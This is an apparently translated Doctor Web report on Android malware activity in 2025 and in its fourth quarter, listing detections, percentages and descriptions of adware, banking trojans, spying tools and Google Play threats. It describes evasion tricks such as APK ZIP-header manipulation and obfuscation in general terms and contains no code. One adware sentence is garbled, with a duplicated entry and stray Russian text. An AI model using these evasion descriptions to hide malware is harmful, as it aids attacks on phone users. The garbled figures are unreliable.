Android.Triada.5847: Detección del comprimidor para troyanos de la familia Android.Triada destinado para proteger los mismos contra su análisis y detección. Con mayor frecuencia, los malintencionados lo usan junto con los mods maliciosos del messenger Telegram donde estos troyanos están directamente incrustados.

Software no deseado

El software no deseado más popular en 2025 volvió a ser el representado por las aplicaciones Program.FakeMoney.11, que concentraron el 51,96 % de las detecciones. Estas aplicaciones proponen a los usuarios realizar algunas tareas a cambio de una recompensa y prometen supuestamente la posibilidad de convertirla posteriormente en dinero real. En la práctica, no se produce ningún pago. Junto con Program.FakeMoney.11 también se propagaron otros programas similares, como Program.FakeMoney.14 y Program.FakeMoney.16, aunque los usuarios se encontraron con ellos con mucha menos frecuencia.

En segundo lugar, con un 10,37 %, se situaron las aplicaciones Program.FakeAntiVirus.1, que imitan el funcionamiento de un antivirus y detectan amenazas inexistentes. Para «eliminar» la supuesta infección, ofrecen adquirir la versión completa del software.

Las aplicaciones Program.CloudInject.1, que se modifican a través del servicio en la nube CloudInject, ocuparon el tercer puesto en cuanto a propagación, con una cuota del 6,41 %. Muy cerca de ellas, en la cuarta posición, se situaron sus variantes detectadas como Program.CloudInject.5, con un 5,08 %. Las modificaciones de estas aplicaciones se realizan directamente en un servidor remoto, y el acceso al servicio lo proporciona la utilidad Tool.CloudInject, que actúa únicamente como una interfaz para trabajar con él. Durante la modificación, a las aplicaciones se les añaden permisos de sistema peligrosos y código ofuscado.

Además, a través del servicio CloudInject, los modders pueden gestionar a distancia las aplicaciones modificadas, por ejemplo, bloquearlas y exigir la introducción de un código para poder seguir utilizándolas.

En el año 2025 se observó un ligero crecimiento del número de detecciones de algunos programas que pueden ser aplicados para observar a usuarios y controlar su actividad. Para los malintencionados estas herramientas se convierten en software espía. Así, por ejemplo, la parte de la aplicación Program.TrackView.1.origin y su variante Program.TrackView.2.origin subió del 2,40% al 2,91% y del 0,21% al 0,97% respectivamente. La parte de Program.SecretVideoRecorder.1.origin subió del 2,03% al 2,56%, y de su modificación Program.SecretVideoRecorder.2.origin — del 0,90% al 1,02%. El indicador del programa Program.SnoopPhone.1.origin subió del 0,31% al 1,01%.

Diez tipos de malware detectados con mayor frecuencia en el año 2025:

Program.FakeMoney.11
Program.FakeMoney.14: Detección de aplicaciones que supuestamente permiten ganar dinero al realizar algunas acciones o tareas. Estos programas simulan la acumulación de recompensas y exigen reunir una cantidad mínima para poder retirar el «dinero ganado». Por lo general, incluyen una lista de sistemas de pago y bancos populares a través de los cuales, supuestamente, sería posible transferir las recompensas. Sin embargo, incluso cuando los usuarios logran acumular la cantidad necesaria para el retiro, los pagos prometidos nunca se realizan. Esta entrada también se utiliza para identificar otro software no deseado basado en el código de este tipo de aplicaciones.
Program.FakeAntiVirus.1: Detección de adware que imita el funcionamiento de software antivirus. Estos programas pueden informar sobre las amenazas no existentes y engañar a usuarios al requerir la compra de una versión completa.
Program.CloudInject.1
Program.CloudInject.5: Detección de aplicaciones Android modificadas mediante el servicio en la nube CloudInject y la utilidad Android homónima (añadida a la base de datos de virus de Dr.Web como Tool.CloudInject). Los programas de este tipo se modifican en un servidor remoto, y el usuario interesado en su alteración (el modder) no controla qué elementos se integran realmente en ellos. Además, las aplicaciones obtienen un conjunto de permisos de sistema peligrosos. Tras la modificación, el modder puede administrarlas a distancia: bloquearlas, mostrar diálogos configurables, rastrear la instalación y desinstalación de otro software, etc.
Program.TrackView.1.origin
Program.TrackView.2.origin: Detección de la aplicación que permite supervisar a los usuarios a través de dispositivos en Android. Con este programa los malintencionados pueden detectar la ubicación de los dispositivos objetivo, usar la cámara para grabar vídeos y crear fotos, realizar la escucha a través del micro, crear grabaciones de audio etc.
Program.SecretVideoRecorder.1.origin
Program.SecretVideoRecorder.2.origin: Detección de varias versiones de la aplicación para la grabación de fotos y vídeos en segundo plano a través de las cámaras incrustadas de dispositivos en Android. Este programa puede funcionar sin permiso de usuario, al permitir desactivar las notificaciones sobre la grabación, así como sustituir el icono y la descripción de la aplicación por las falsas. Esta funcionalidad lo convierte en potencialmente peligroso.
Program.SnoopPhone.1.origin: Programa para supervisar a titulares de dispositivos en Android. Permite leer los SMS, recibir la información sobre las llamadas telefónicas, supervisar la ubicación y realizar la grabación de audio del entorno.

Programas potencialmente peligrosos

En 2025, el software potencialmente peligroso más popular fue el representado por aplicaciones modificadas mediante la herramienta NP Manager. Se trata de una utilidad para la modificación de aplicaciones que incluye varios módulos destinados para ofuscar y proteger el código, así como para esquivar la verificación de la firma digital tras la modificación. Los delincuentes la utilizan con frecuencia para proteger malware y dificultar su detección por parte de los antivirus. En comparación con 2024, la proporción de este tipo de programas aumentó del 24,52 % al 53,59 %, y ya representaron más de la mitad de todas las detecciones de software potencialmente peligroso. Con mayor frecuencia, en los dispositivos protegidos se encontraban las variantes Tool.NPMod.3 (32,85%), Tool.NPMod.1 (12,61%), Tool.NPMod.1.origin (3,02%) y Tool.NPMod.4 (2,31%).

El número de detecciones de Tool.Androlua aumentó del 3,93 % al 8,11 %. Se trata de una serie de frameworks creados para el desarrollo de aplicaciones Android en el lenguaje de programación Lua. Estos requieren numerosos permisos del sistema, incluido el uso del servicio de accesibilidad de Android. Las aplicaciones creadas con su ayuda se basan en scripts Lua que están cifrados y solo se descifran inmediatamente antes de su ejecución. Este tipo de scripts puede resultar potencialmente malicioso.

Asimismo, la proporción de aplicaciones modificadas mediante la utilidad Tool.LuckyPatcher. Creció del 8,16 % al 10,06 %. Esta herramienta modifica los programas instalados al descargar de Internet los scripts especialmente preparados para ello.

Al mismo tiempo, la parte de las utilidades Tool.SilentInstaller que permiten iniciar las aplicaciones en Android sin su instalación bajó del 33,10% al 10,55%. Las variantes más populares de la familia en el año 2025 fueron Tool.SilentInstaller.14.origin (4,66%), Tool.SilentInstaller.6.origin (2,07%) y Tool.SilentInstaller.7.origin (1,88%). Además, del 13,17% al 2,58%, bajó la parte de programas protegidos por el comprimidor Tool.Packer.1.origin.

Diez tipos de software potencialmente peligroso detectado en dispositivos en Android en el año 2025:

Tool.NPMod.3
Tool.NPMod.1
Tool.NPMod.1.origin
Tool.NPMod.4: Detección de aplicaciones en Android modificadas con la utilidad NP Manager. Esta utilidad contiene los módulos para la ofuscación y la protección del código de software, así como para esquivar su firma digital una vez modificado. La ofuscación añadida por la misma se usa en malware para dificultar su detección y análisis.
Tool.Androlua.1.origin: Detección de algunas versiones potencialmente peligrosas del framework especializado para desarrollar programas en Android en lenguaje script de programación Lua. La lógica básica de aplicaciones Lua está en los scripts correspondientes que están cifrados y se descifran por el interpretados antes de ser ejecutados. Con frecuencia, este framework de forma predeterminada solicita acceso a múltiples permisos de sistema para su funcionamiento, así como para usar el servicio de posibilidades especiales del SO Android. Como resultado, los scripts Lua ejecutados a través del mismo pueden realizar varias acciones maliciosas según los permisos obtenidos.
Tool.LuckyPatcher.2.origin
Tool.LuckyPatcher.1.origin: Utilidad que permite modificar las aplicaciones en Android instaladas (crear los parches para los mismos) para modificar su lógica de funcionamiento o esquivar alguna restricción. Por ejemplo, con la misma los usuarios pueden intentar desactivar la comprobación del acceso root en programas bancarios o recibir los recursos ilimitados en los juegos. Para crear los parches, la utilidad descarga de Internet los scripts creados a propósito que cualquier persona interesada puede crear y añadir a la base común. La funcionalidad de estos scripts puede así mismo resultar maliciosa, por lo tanto, los parches creados pueden ser potencialmente peligrosos.
Tool.SilentInstaller.14.origin: Plataforma potencialmente peligrosa que permite a las aplicaciones iniciar los archivos APK sin instalar los mismos. Crea un entorno de ejecución virtual que no afecta al sistema operativo básico.
Tool.Packer.1.origin: Utilidad comprimidora especializada para proteger las aplicaciones en Android contra modificación e ingeniería inversa. No es maliciosa, pero puede ser usada para proteger tanto los programas inofensivos como troyanos.

Adware

Entre adware en el año 2025 los más populares fueron las modificaciones de terceros de la aplicación WhatsApp detectadas como Adware.ModAd.1. Estas modificaciones tienen implementada la funcionalidad para abrir enlaces en caso de trabajar con el messenger. Desde estos enlaces se realiza la redirección de los sitios web publicitados. Comparado con el año 2024, la parte de Adware.ModAd.1 del número total de adware detectado en dispositivos protegidos bajó del 47,45% al 26,90%.

Los módulos Adware.Adpush incrustados en programas en Android, que visualizan notificaciones de publicidad, ocupan el segundo lugar, durante el año su actividad aumentó del 14,76% al 26,19%. El tercer lugar con un indicador del 8,88% lo ocuparon los representantes de la familia Adware.Basement cuya parte sigue siendo casi la misma comparado con el año anterior. Estos programas pueden visualizar publicidad que lleva a los sitios web maliciosos.

Las familias de adware Adware.Airpush también fueron populares (su número de detecciones subió del 4,35% al 5,14%), Adware.Fictus (crecimiento del 3,29% al 6,21%), Adware.Youmi (crecimiento del 1,62% al 2,91%) así como Adware.Youmi (рост с 1,62% до 2,91%) а также Adware.Leadbolt (crecimiento del 2,26% al 2,41%) y Adware.Jiubang (crecimiento del 1,70% до 2,38%).

Diez tipos de adware más populares detectados en dispositivos en Android en el año 2025:

Adware.ModAd.1: Detección de algunas versiones modificadas (mods) del messenger WhatsApp cuyas funciones tienen implementado un código para cargar enlaces específicos mediante visualización web durante el uso del messenger. Desde estas direcciones de Internet se redirige a los sitios web publicitados — por ejemplo, los casinos en línea y operadores de apuestas, sitios web para adultos
Adware.AdPush.3.origin
Adware.Adpush.21846
Adware.AdPush.39.origin: Módulos de publicidad que pueden ser integrados en programas en Android. Visualizan notificaciones de publicidad que engañan a usuarios. Por ejemplo, estas notificaciones pueden parecer mensajes del sistema operativo. Además, estos módulos recopilan algunos datos privados, y también pueden cargar otras aplicaciones e iniciar su instalación.
Adware.Basement.1: Aplicaciones que visualizan publicidad importuna que con frecuencia lleva a los sitios web maliciosos y fraudulentos. Tienen la base de código común con programas no deseados Program.FakeMoney.11.
Adware.Fictus.1.origin: Un módulo de publicidad que los malintencionados incrustan en versiones clones de juegos populares en Android y programas. Su integración en programas se realiza con un comprimidor especializado net2share. Las copias de software creadas de esta forma se propagan a través de varios catálogos de aplicaciones y visualizan publicidad importuna una vez instaladas.
Adware.Airpush.7.origin: Complementos integrados en aplicaciones en Android que muestran varios tipos de publicidad. Según la versión y la modificación, puede tratarse de notificaciones publicitarias, ventanas emergentes o banners. Mediante estos módulos, los delincuentes suelen propagar malware ofreciendo instalar algún tipo de software. Además, estos módulos transfieren información confidencial de varios tipos a un servidor remoto.
Adware.Youmi.4: Detección de un módulo de publicidad no deseado que coloca accesos directos de publicidad en la pantalla principal de dispositivos en Android.
Adware.Jiubang.1: Software de publicidad no deseado para dispositivos en Android que al instalar aplicaciones visualiza un banner con software recomendado para la instalación.
Adware.Inmobi.1: Detección de algunas versiones de adware SDK Inmobi capaces de realizar llamadas telefónicas y añadir eventos al calendario de dispositivos en Android.

Amenazas en Google Play

En 2025, el laboratorio antivirus de la empresa Doctor Web detectó en el catálogo de Google Play más de 180 tipos de malware, no deseados y publicitarios, que en conjunto fueron instalados al menos 2.165.040 veces. Entre ellos hubo varias modificaciones de los troyanos Android.HiddenAds.4213 y Android.HiddenAds.4215, que ocultaban su presencia en los dispositivos infectados y mostraban publicidad superpuesta a la interfaz del sistema operativo y de otras aplicaciones. Estos troyanos se propagaban haciéndose pasar por editores de fotos, aplicaciones para fotos, grabación de vídeo y otro software.

Los programas Time Shift Cam y Fusion Collage Editor fueron troyanos publicitarios Android.HiddenAds

Haciéndose pasar por software oficial de la criptobolsa dYdX y de las plataformas blockchain Raydium y Aerodrome Finance, los ciberdelincuentes propagaban los troyanos Android.CoinSteal.202, Android.CoinSteal.203 y Android.CoinSteal.206, que robaban criptomoneda.

En los programas Raydium y Dydx Exchange se ocultaba software troyano para robar criptomoneda

Este malware ofrecía a los usuarios introducir una frase mnemotécnica supuestamente para conectar un monedero de criptomonedas; sin embargo, en realidad los datos introducidos se enviaban a los delincuentes. Para confundir aún más a las posibles víctimas, los formularios para introducir la frase mnemotécnica podían estar camuflados como solicitudes procedentes de otras plataformas de criptomonedas.

Android.CoinSteal.206 visualiza un formulario phishing supuestamente en nombre de la criptobolsa PancakeSwap y solicita una frase mnemotécnica para acceder al criptomonedero

Durante el año nuestros expertos detectaron en Google Play más de 80 tipos de malware de la familia Android.Joker que suscribe a los usuarios a servicios de pago. Se propagaban camuflados como software de varios tipos, incluidos los messengers, programas para hacer fotos, utilidades del sistema, editores de imágenes y programas para trabajar con documentos.

Unos ejemplos de troyanos detectados, Android.Joker: Android.Joker.2494 se propagaba como messenger File Text Messages, y Android.Joker.2496 — como utilidad Useful Cleaner para optimizar el funcionamiento del smartphone

Los ciberdelincuentes volvieron a propagar todo tipo de programas falsos Android.FakeApp, utilizados en diversas estafas. Su principal función es cargar páginas web objetivo. Algunos de estos troyanos se hacían pasar por software de temática financiera. Dichas aplicaciones cargaban sitios web fraudulentos supuestamente relacionados con inversiones y ganancias en línea, así como sitios de phishing. Otros programas falsos Android.FakeApp se distribuían bajo la apariencia de juegos y, en determinadas condiciones, podían cargar sitios de casinos en línea y casas de apuestas. En total, registramos más de 100 aplicaciones de este tipo en Google Play.

Unos ejemplos de aplicaciones falsas Android.FakeApp. El troyano Android.FakeApp.1863, que se ocultaba en el programa TPAO, estaba destinado para usuarios turcos y les proponía administrar sus depósitos e ingresos. Y el troyano ,Android.FakeApp.1840 se propagaba como juego Pino Bounce y podía cargar un sitio web de un casino en línea

Los analistas de virus de Doctor Web también detectaron nuevo software publicitario no deseado Adware.Adpush.21912 que se ocultaba en el programa Coin News Promax con información sobre criptomoneda. Adware.Adpush.21912 visualiza notificaciones al pulsar las cuales en WebView se carga un enlace establecido por el servidor C2.

La aplicación Coin News Promax de Google Play era adware Adware.Adpush.21912

Además, nuestros expertos detectaron un programa no deseado Program.FakeMoney.16 que se difundía como aplicación Zeus Jackpot Mania. En la misma, los usuarios obtenían recompensas virtuales de forma lúdica, que supuestamente podían convertir más tarde en dinero real y retirar desde la aplicación.

El programa Zeus Jackpot Mania era una aplicación no deseada Program.FakeMoney.16

Para «retirar» el dinero, el programa solicitaba algunos datos, pero los usuarios no recibían ningunos pagos.

Program.FakeMoney.16 pide indicar el nombre completo del usuario y la información sobre la cuenta bancaria

Troyanos bancarios

Según las estadísticas de detección de Dr.Web Security Space para dispositivos móviles, en 2025 la proporción de troyanos bancarios sobre el total de malware detectado fue del 6,94 %, ligeramente por encima del 6,29 % registrado el año anterior. Durante los tres primeros meses, la actividad de los troyanos bancarios se mantuvo aproximadamente en el mismo nivel; no obstante, a principios del segundo trimestre aumentó de forma notable. Posteriormente, empezó a disminuir de manera gradual, alcanzando el mínimo anual en julio. A partir de agosto, el número de detecciones volvió a crecer y ya en octubre alcanzó su máximo. Hacia finales de año se observó un nuevo descenso.

En 2025, los delincuentes siguieron utilizando varias familias populares de troyanos bancarios en los ataques llevados a cabo. Entre las más activas se encontraban las amenazas Android.Banker.Mamont, Coper, Android.BankBot.Ermac y algunas otras. Además, se detectaron nuevas versiones de los troyanos NGate, que utilizan tecnología NFC para robar dinero. Este malware transmite a los atacantes los datos del chip NFC de los dispositivos infectados, lo que permite a los estafadores retirar fondos de las cuentas de las víctimas en cajeros automáticos o realizar compras mediante pagos sin contacto, sin necesidad de una participación adicional por parte de los usuarios. Entre las modificaciones más activas se encontraban Android.Banker.NGate.8, Android.Banker.NGate.17, Android.Banker.NGate.5.origin.

También continuó la propagación de Android.SpyMax, malware con funciones de espionaje basadas en el código fuente, ya de acceso público, del troyano RAT SpyNote. Los ciberdelincuentes los utilizan, entre otras cosas, como troyanos bancarios. No obstante, la actividad de Android.SpyMax bajó en comparación con 2024. Este malware representó el 12,35 % de las detecciones de troyanos bancarios, frente al 32,04 % registrado el año anterior.

En 2025, los usuarios rusos se enfrentaron con mayor frecuencia a varios troyanos bancarios que, según la clasificación de la empresa Doctor Web, forman parte de la amplia familia Mamont (Android.Banker.790.origin, Android.Banker.Mamont.3.origin, Android.Banker.Mamont.28.origin). Esta familia incluye una gran variedad de aplicaciones maliciosas que los creadores de malware siguen modificando y desarrollando activamente. Estos programas interceptan SMS con códigos de un solo uso de entidades financieras y roban datos de tarjetas bancarias y otra información confidencial.

A lo largo del año, nuestros especialistas también observaron actividad de troyanos bancarios dirigidos a residentes de Uzbekistán y de países limítrofes, como Armenia, Azerbaiyán y Kirguistán. En los dispositivos protegidos se detectaron con mayor frecuencia Android.Banker.951.origin, Android.Banker.881.origin y Android.Banker.963.origin, que roban SMS de verificación enviados por entidades financieras. Los ciberdelincuentes modifican constantemente este tipo de malware para dificultar su detección. Los usuarios de Turquía fueron atacados con mayor frecuencia por los troyanos bancarios Android.BankBot.Coper.12.origin, Android.Banker.5685 y Android.Banker.864.origin, que también son capaces de sustraer el contenido de los mensajes SMS.

Al mismo tiempo, los residentes de Irán se enfrentaron a los troyanos Android.BankBot.1190.origin, Android.BankBot.1191.origin y sus modificaciones. Este malware roba la información bancaria de los mensajes SMS: buscan en ellos datos de tarjetas bancarias, cuentas de la víctima, saldo disponible, transacciones realizadas, etc., y posteriormente los envía a los delincuentes. Además, recopilan información de los contactos de la agenda y pueden enviar SMS por orden de los atacantes.

Los residentes de numerosos países del Sudeste Asiático y de la región Asia-Pacífico, incluidos Indonesia y Corea del Sur, fueron atacados por el troyano Android.BankBot.Remo.1.origin. Este malware utiliza funciones especiales de accesibilidad (Accessibility Services) para robar los datos de aplicaciones bancarias y de monederos de criptomonedas instaladas en los dispositivos infectados. Además del troyano Remo, los usuarios surcoreanos también se enfrentaron a los troyanos Android.BankBot.15140, Android.BankBot.Ermac.6.origin y GoldDigger (Android.BankBot.GoldDigger.9, Android.BankBot.GoldDigger.11).

El malware GoldDigger también se utilizó contra usuarios de Indonesia y Tailandia. Por su parte, el troyano bancario Android.BankBot.Gigabud.1.origin se empleó contra clientes de entidades financieras de Indonesia y Malasia. Al mismo tiempo, los delincuentes continuaron usando los troyanos MoqHao en ataques dirigidos a la audiencia japonesa. Se propagaron diversas modificaciones de MoqHao, como Android.Banker.672.origin, Android.Banker.5063, Android.Banker.740.origin y otras.

Uno de los troyanos bancarios dirigidos a residentes de la India fue Android.Banker.6209. Este troyano imita la apariencia de aplicaciones bancarias legítimas con el fin de robar datos de los usuarios, como nombres, números de tarjetas bancarias y códigos de seguridad CVV. Además, utiliza los dispositivos infectados para la minería encubierta de la criptomoneda Monero. También volvió a observarse la propagación de los troyanos bancarios RewardSteal, como Android.Banker.814.origin, Android.Banker.913.origin y Android.Banker.5132. Para robar datos bancarios, estos se camuflan como software supuestamente relacionado con entidades financieras indias, por ejemplo ICICI, SBI, Axis y PM Kisan.

Los propietarios brasileños de dispositivos Android fueron atacados con mayor frecuencia por el malware Android.BankBot.1183.origin, así como por varios representantes de la familia NGate: Android.Banker.NGate.8, Android.Banker.NGate.9 y Android.Banker.NGate.14.

En 2025, los creadores de malware continuaron utilizando varias técnicas para proteger los troyanos bancarios de Android frente al análisis y la detección. Por ejemplo, se propagaron varios métodos de ofuscación y ocultación de código, como DEX to C (conversión del código ejecutable DEX a código en lenguaje C), así como la ofuscación de aplicaciones maliciosas mediante la herramienta NP Manager.

Siguieron siendo populares las técnicas de manipulación del formato de archivos ZIP, que es el formato que utilizan en la práctica los archivos APK de las aplicaciones Android. Entre ellas se incluyen la manipulación de los campos compression method y compressed size en la estructura del encabezado del archivo local dentro del APK, así como el uso de datos incorrectos sobre el disco en los registros ECDR y CD. Sobre estos métodos ya hablamos con más detalle en el informe anterior, en la sección dedicada a los troyanos bancarios. Tras este tipo de manipulaciones, los troyanos siguen siendo plenamente funcionales, pero muchas herramientas de análisis estático los consideran dañados y no pueden procesarlos correctamente. Los creadores de malware empezaron a utilizar con mayor frecuencia los programas dropper para ocultar la carga maliciosa principal, por ejemplo, con el fin de esquivar los mecanismos internos de protección del catálogo de Google Play. Los ciberdelincuentes también recurren a asistentes basados en inteligencia artificial para escribir el código de los troyanos bancarios, lo que simplifica su desarrollo y favorece la aparición de nuevas familias. Además, cada vez usan con mayor frecuencia bots de Telegram para el control de los troyanos bancarios y la exfiltración de datos desde los dispositivos infectados.

Perspectivas y tendencias

En 2025 observamos una alta actividad de troyanos publicitarios, que siguen siendo las amenazas más populares para el sistema operativo Android. También volvieron a propagarse ampliamente varios programas falsos utilizados con fines fraudulentos, entre ellos para el phishing y el robo de dinero. Además, continuó el aumento del número de ataques con troyanos bancarios. Todas estas aplicaciones maliciosas constituyen una fuente de ingresos ilegales para los ciberdelincuentes, por lo que su popularidad se mantiene en niveles elevados. Es muy probable que el próximo año vuelvan a ser una de las principales herramientas de obtención de beneficios para los atacantes. Al mismo tiempo, los creadores de malware recurren cada vez más a bots de Telegram para controlar los troyanos bancarios, una tendencia que previsiblemente continuará.

La aparición del malware Android.Clipper.31,así como de nuevas versiones de los troyanos Android.Vo1d y Android.Triada en el firmware de smartphones y decodificadores de TV, indica que los delincuentes mantienen su interés en métodos de propagación que dificultan bastante la detección del malware. Es muy probable que esta tendencia se mantenga el próximo año y que veamos nuevos casos de malware preinstalado en smartphones, decodificadores de TV y otros tipos de dispositivos Android.

También cabe esperar la aparición de malware más complejo, capaz de realizar un amplio abanico de tareas. Entre ellos podrían encontrarse nuevos backdoors y distintos troyanos espía. Además, los creadores de malware volverán previsiblemente a utilizar catálogos oficiales de aplicaciones, incluido Google Play, para alojar software malicioso y no deseado.

Los delincuentes seguirán incorporando distintos mecanismos de protección en las herramientas que desarrollan y recurrirán con mayor frecuencia a asistentes basados en inteligencia artificial para escribir código, lo que probablemente dará lugar a la aparición de un mayor número de nuevas familias de malware.

La empresa Doctor Web supervisa de forma continua el panorama de amenazas en el segmento móvil y responde con rapidez a los nuevos desafíos. A los usuarios de Android les recomendamos instalar Dr.Web Security Space para dispositivos móviles, con el fin de protegerse frente al malware y otras aplicaciones peligrosas.

Indicadores de compromiso

Doctor Web: informe de la actividad de virus para dispositivos móviles en el IV trimestre del año 2025

Mon, 12 Jan 2026 00:00:00 GMT

12 de enero de 2026

Según los datos estadísticos de detecciones de Dr.Web Security Space para dispositivos móviles, en el IV trimestre del año 2025 las amenazas más populares en Android otra vez fueron los troyanos publicitarios Android.MobiDash y Android.HiddenAds que visualizaban anuncios importunos. Así mismo, su actividad bajó: los primeros se detectaron en dispositivos protegidos un 43,24% menos, y los segundos — un 18,06% menos. Los siguieron los troyanos de la familia Android.Siggen que activan malware con funcionalidad de varios tipos. Los mismos también se detectaron un poco menos, un 27,47%.

Al mismo tiempo, se detectó un crecimiento importante de troyanos bancarios que los usuarios afrontaron un 65,52% más. Este crecimiento se debe sobre todo a los representantes de la familia Android.Banker. Este malware intercepta los SMS con códigos de un solo uso para confirmar las operaciones bancarias, y también pueden imitar el diseño de software bancario real y visualizar las ventanas phishing.

Entre software no deseado los más populares fueron los programas en Android modificados a través del servicio en la nube CloudInject (el antivirus Dr.Web los detecta como Program.CloudInject). Con el mismo, a las aplicaciones se añaden los permisos de sistema peligrosos y el código ofuscado cuya funcionalidad no puede ser controlada. Además, en los dispositivos con mucha frecuencia se detectaban los falsos antivirus Program.FakeAntiVirus que detectan amenazas no existentes y para “desinfectar” las mismas demandan que se adquiera la versión completa, así como Program.FakeMoney — las aplicaciones que supuestamente permiten ganar dinero al realizar varias tareas.

El software más popular potencialmente peligroso en el IV trimestre fueron las aplicaciones Tool.NPMod modificadas con la utilidad NP Manager. La misma ofusca el código de los mods y añade un módulo especial en los mismos que permite esquivar la verificación de la firma digital una vez modificadas las aplicaciones. Entre adware los líderes eran los representantes de la familia Adware.Adpush. Son complementos especiales que los desarrolladores implementan en software para visualizar notificaciones de publicidad.

En octubre nuestros expertos informaron sobre un backdoor peligroso Android.Backdoor.Baohuo.1.origin que los malintencionados implementaron en las modificaciones no oficiales del Messenger Telegram X y propagaron tanto a través de los sitios web maliciosos como a través de catálogos terceros de aplicaciones en Android. El malware roba los nombres de usuario y las contraseñas de cuentas de Telegram, así como otros datos privados. Además, con el mismo los ciberdelincuentes en realidad pueden administrar la cuenta de la víctima y sin su autorización realizar en el Messenger varias acciones en su nombre. Por ejemplo, unirse a canales en Telegram y salir de los mismos, ocultar los nuevo dispositivos autorizados, ocultar los mensajes determinados etc. Android.Backdoor.Baohuo.1.origin se administra así mismo a través de la base de datos Redis, lo cual anteriormente no se detectaba en amenazas en Android. En total, el backdoor infectó unos 58 000 dispositivos, entre los cuales hubo unos 3 000 modelos de varios tipos de smartphones, tabletas, consolas TV y vehículos con ordenadores de a bordo basados en Android.

Durante el trimestre pasado, el laboratorio antivirus de la empresa Doctor Web detectó en el catálogo Google Play nuevo malware entre el cual hubo troyanos Android.Joker que suscribían a las víctimas a servicios de pago, y varios programas falsos Android.FakeApp, aplicados en esquemas fraudulentos, En total, los mismos fueron descargados como mínimo 263 000 veces.

TENDENCIAS CLAVE DEL IV TRIMESTRE

Los troyanos publicitarios siguen siendo las amenazas en Android más populares
Crecimiento del número de ataques de troyanos bancarios
Propagación del backdoor peligroso Android.Backdoor.Baohuo.1.origin, implementado en las modificaciones del Messenger Telegram X
Aparición de más malware en el catálogo Google Play

Según los datos de Dr.Web Security Space para dispositivos móviles

Android.MobiDash.7859: Un programa troyano que visualiza publicidad importuna. Es un complemento que los desarrolladores de software implementan en aplicaciones.
Android.FakeApp.1600: Un programa troyano que carga el sitio web indicado en su configuración. Las modificaciones conocidas de este malware cargan el sitio web de un casino en línea.
Android.Click.1812: Detección de mods maliciosos del Messenger del messenger WhatsApp, que pueden cargar varios sitios web en modo de segundo plano sin autorización del usuario.
Android.Packed.57.origin: Detección de un ofuscador que así mismo se usa para proteger malware (por ejemplo, algunas versiones de troyanos bancarios Android.SpyMax).
Android.Triada.5847: Detección de un comprimidor para los troyanos de la familia Android.Triada, destinado para proteger los mismos contra análisis y detección. Con mayor frecuencia, los malintencionados lo usan junto con los mods maliciosos del messenger Telegram, donde estos troyanos están directamente incrustados.

Program.CloudInject.5
Program.CloudInject.1: Detección de aplicaciones en Android modificadas con el servicio en la nube CloudInject y la utilidad en Android del mismo nombre (añadida a la base de virus de Dr.Web como Tool.CloudInject). Estos programas se modifican en un servidor remoto, así mismo, el usuario (modder) interesado en su modificación no controla qué exactamente se implementará en los mismos. Además, las aplicaciones reciben un conjunto de permisos peligrosos. Una vez modificados los programas, el modder puede administrarlos de forma remota: bloquearlos, visualizar los diálogos personalizados, supervisar el hecho de instalación y desinstalación de otro software etc.
Program.FakeAntiVirus.1: Detección de adware que imita el funcionamiento de software antivirus. Estos programas pueden informar sobre las amenazas no existentes y engañar a usuarios, al demandar la compra de versión completa.
Program.FakeMoney.11: Detección de aplicaciones que supuestamente permiten ganar dinero al realizar algunas acciones o tareas. Estos programas imitan el abono de premios, así mismo, para poder usar el dinero “ganado”, hay que acumular un importe determinados. Normalmente suelen disponer de una lista de sistemas de pago populares y bancos a través de los cuales supuestamente se puede transferir los premios. Pero hasta si los usuarios consiguen acumular el importe suficiente para poder usarlo, los no reciben los pagos prometidos. Esta entrada también se usa para detectar otro software no deseado basado en el código de estos programas.
Program.SnoopPhone.1.origin: Programa para supervisar a los titulares de dispositivos en Android. Permite leer los SMS, recibir la información sobre las llamadas telefónicas, supervisar la ubicación del dispositivo y grabar el audio del entorno.

Tool.NPMod.3
Tool.NPMod.1
Tool.NPMod.1.origin: Detección de aplicaciones en Android modificadas con la utilidad NP Manager. Estos programas tienen implementado un módulo especial que permite esquivar la verificación de la firma digital una vez modificados.
Tool.LuckyPatcher.2.origin: Una utilidad que permite modificar las aplicaciones en Android instaladas (crear los parches para las mismas) para modificar su lógica de funcionamiento o esquivar alguna restricción. Por ejemplo, con la misma los usuarios pueden intentar desactivar la comprobación del acceso root en programas bancarios y recibir los recursos ilimitados en los juegos. Para crear los parches, la utilidad descarga de Internet los scripts preparados a propósito que pueden ser creados por cualquier persona interesada. La funcionalidad de estos scripts también puede resultar maliciosa, por lo tanto, los parches creados pueden ser potencialmente peligrosos.
Tool.Androlua.1.origin: Detección de algunas versiones potencialmente peligrosas del framework especializado para desarrollar programas en Android en lenguaje de programación de scripts Lua. La lógica básica de aplicaciones Lua está ubicada en los scripts correspondientes que están cifrados y se descifran por el interpretador antes de ser ejecutados. Con frecuencia este framework de forma predeterminada solicita acceso a múltiples permisos de sistema para el funcionamiento. Como resultado, los scripts Lua realizados a través del mismo pueden realizar varias acciones maliciosas según los permisos obtenidos.

Adware.AdPush.3.origin
Adware.Adpush.21846: Módulos de publicidad que pueden ser integrados en programas en Android. Visualizan notificaciones de publicidad que engañan a usuarios. Por ejemplo, estas notificaciones pueden recordar mensajes del sistema operativo. Además, estos módulos recopilan algunos datos privados y también pueden cargar otras aplicaciones e iniciar su instalación.
Adware.Bastion.1.origin: Detección de programas optimizadores que crean notificaciones de forma periódica con mensajes engañosos sobre una supuesta falta de memoria y errores del sistema, con el fin de visualizar publicidad durante el proceso de “optimización”.
Adware.Airpush.7.origin: Los complementos incrustados en aplicaciones en Android y visualizan publicidad de varios tipos. Según la versión y la modificación, pueden ser notificaciones de publicidad, ventanas emergentes o banners. Con estos módulos los malintencionados con frecuencia propagan malware al proponer instalar algún software. Además, estos módulos transfieren al servidor remoto la información privada de varios tipos.
Adware.ModAd.1: Detección de algunas versiones modificadas (mods) del messenger WhatsApp, cuyas funciones tienen implementado el código para cargar los enlaces especificados a través de la visualización web durante el uso del messenger. Desde estas direcciones de Internet se realiza la redirección a los sitios web publicitados, por ejemplo, de casinos en línea y de operadores de apuestas, sitios web para adultos.

Amenazas en Google Play

Durante el IV trimestre del año 2025 los analistas de virus de la empresa Doctor Web detectaron la aparición en el catálogo Google Play de más de dos decenas de malware Android.Joker, destinados para suscribir a usuarios a servicios de pago. Los malintencionados los camuflaron por varios tipos de software: messengers, utilidades para optimizar el funcionamiento de sistemas, los editores gráficos y los programas para ver películas.

